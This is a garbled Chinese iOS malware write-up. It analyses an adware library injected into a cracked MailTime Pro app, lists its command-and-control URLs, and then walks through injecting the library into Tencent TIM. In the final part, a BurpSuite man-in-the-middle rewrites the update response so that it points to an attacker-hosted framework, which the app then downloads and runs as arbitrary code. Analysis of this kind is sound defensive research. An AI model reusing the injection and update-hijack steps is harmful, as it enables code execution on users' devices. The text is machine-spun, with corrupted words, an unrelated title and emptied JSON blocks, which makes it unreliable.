Contributors : [OSG·辛] team :afox、AliceForever、KoU2N、物以类聚

一、从App中提取木马并剖析木马

(1)iOS Application File

php获取iosudid给腾讯TIM插入告白木马 SQL

最近一款在VirusTotal的运用程序引起了我们的把稳。

$ openssl dgst -sha256 com.mailtime.MailTimePro-clutch2.ipa

从文件名可以看出这是一款利用了Clutch的破解软件。
对ipa文件进行解压(实际是zip文件)。

$ ditto -xk com.mailtime.MailTimePro-clutch2.ipa com.mailtime.MailTimePro-clutch2

jailbreak这个库看起来很可疑

$ codesign -dvv \"大众MailTime Pro\"大众 2>&1 | grep Authority

nguyen tat hung 虽然是一个有名开拓商,但不是MailTime Pro的开拓商。

进一步,我们创造jailbreak动态注入到了二进制程序中。

$ otool -arch arm64 -L \公众MailTime Pro\公众

大多数的库,在导入表中包含了他们的安装路径和真实名称

$ otool -arch arm64 -L jailbreak

通过assert()宏,查看项目的关联信息

$ strings -arch arm64 jailbreak | grep -i guiinject

(2)Inject Library

通过符号表,快速的找到有名SDK和CocoaPods。

#### Advertisement SDKs

一个越狱软件包括如此多的广告是不常见的,这里有剩余的类头文件。

-[Config getConfig]方法从程序目录加载wrap.json文件。

{

经由几次循环等待,注入的代码会联系一个不屈安的远程主机,部分的做事可以事情。

比如,coreapi做事彷佛不能事情。

http://wrapper.laughworld.net/coreapi/active_device.php?pk=IPANAME&is_jb=1&udid=REDACTED&signature=MD5

{

http://wrapper.laughworld.net/coreapi/get_list_message.php?pk=IPANAME&is_jb=1&udid=REDACTED&libver=20160818&app_pk=IPANAME_AGAIN&app_ver=1.2.3&signature=MD5

{

当api做事启动后

http://wrapper.laughworld.net/api/com.mailtime.MailTimePro_ads.json

{

最有趣的是update要求

-[API getUpdate:withSelector:]方法会要求http://wrapper.laughworld.net/api/com.mailtime.MailTimePro_update.json

{

script_zip,script_file和md5_script没有被实行,script_zip的URL指向一个加密的ZIP,并且md5_script是无效的(末了一个字节缺点)。

linkfw指向一个有效的Zip,一旦下载并解压, -[guiinject _loadPluginAtLocation:]将加载框架并发送一个run到principalClass。
md5fw用于自我更新。

到目前为止,我们没有看到任何广告,他们可能隐蔽在视图中。

(3)Downloaded Framework

开拓者的标识发生了改变。

$ codesign -dvv DailyUploadDownloadLib 2>&1 | grep Authority

框架的header中有开拓者和组织。

$ cat Headers/DailyUploadDownloadLib.h

这是有Xcode自动天生的,经itviec事情网查询, GTT Media 和 T&B 是外包公司。

一旦加载完成,框架通过lib做事要求托管在DailyUploads和FileFactory站点上的文件列表。

http://wrapper.laughworld.net/lib/DailyUploadDownloadModule.conf

{

http://wrapper.laughworld.net/lib/FileFactoryDownloadModule.conf

{

框架也会利用DynDNS定期检讨iOS设备的外部IP。

每当框架加载完毕或者IP变更,都会从DailyUploads和FileFactory下载一个随机文件。

dailyuploads也指向其他iOS运用,这些运用都是被nguyen tat hung署名并注入的(yara规则)。

$ yara -r iOS.GuiInject.yara DailyUploads

(4)Abusing the Injected Adware Library

一个动态库利用不屈安的协议来连接远程主机并实行代码。
我们是否通过拦截和修正update的response,加载了自己的代码?能否移植到别的APP中?

二、在TIM App中注入jailbreak广告库

(1)砸壳ipa

TMde-iPhone:~ root# ./clutch -i

(2)拷贝com.tencent.tim-iOS7.0-(Clutch-2.0.4).ipa至电脑并解压

# unzip com.tencent.tim-iOS7.0-\(Clutch-2.0.4\).ipa

(3)在TIM中注入jailbreak

# cp com.mailtime.MailTimePro-clutch2/Payload/MailTime\ Pro.app/jailbreak TIM/TIM.app/

(4)重新署名并打包为ipa文件,安装新程序至iOS

工具:iOS App Signner、codesign、AppResign、Cydia Impactor皆可以

(5)iOS配置局域网代理,并利用BurpSuite抓包,BurpSuite开启修正Intercept Client Resquests功能

(6)撰写新的动态链接库(文件见附件)用于挟制流程

压缩并打算md5。

# md5 DailyUploadDownloadLib.framework.zip

三 、利用BurpSuite中间人挟制木马,成功任意代码实行

(7)启动本地httpd,并将DailyUploadDownloadLib.framework.zip放置在根目录

# sudo httpd

(8)启动App,利用burp修正以下要求回包

GET /api/com.tencent.time_update.json HTTP/1.1

修正返回的response数据包

HTTP/1.1 200 OK

修正linkfw和md5fw的值

{\"大众show_ads\"大众:\"大众NO\"大众,\"大众linkfw\公众:\公众http:\/\/10.0.0.239\/lib\/DailyUploadDownloadLib.framework.zip\"大众,\公众namefw\"大众:\"大众DailyUploadDownloadLib.framework\"大众,\公众md5fw\"大众:\公众08ae6354cd0c41d807cb2fbda5a52d9f\"大众}

(9)弹出alert

结果会弹出我们写在DailyUploadDownloadLib中的弹框。

UIAlertView alert = [[UIAlertView alloc] initWithTitle:@\"大众辛巴达6月冒险记\"大众 message:nil delegate:nil cancelButtonTitle:nil otherButtonTitles:@\公众done\"大众, nil];

四、干系工具

IDA

HopperIFunBoxusbmuxdXcodedumpdecryptedCycriptcodesignyololibClass-dumpClutchiOS App SignnerBurpSuiteCharlesAppResignCydia Impactor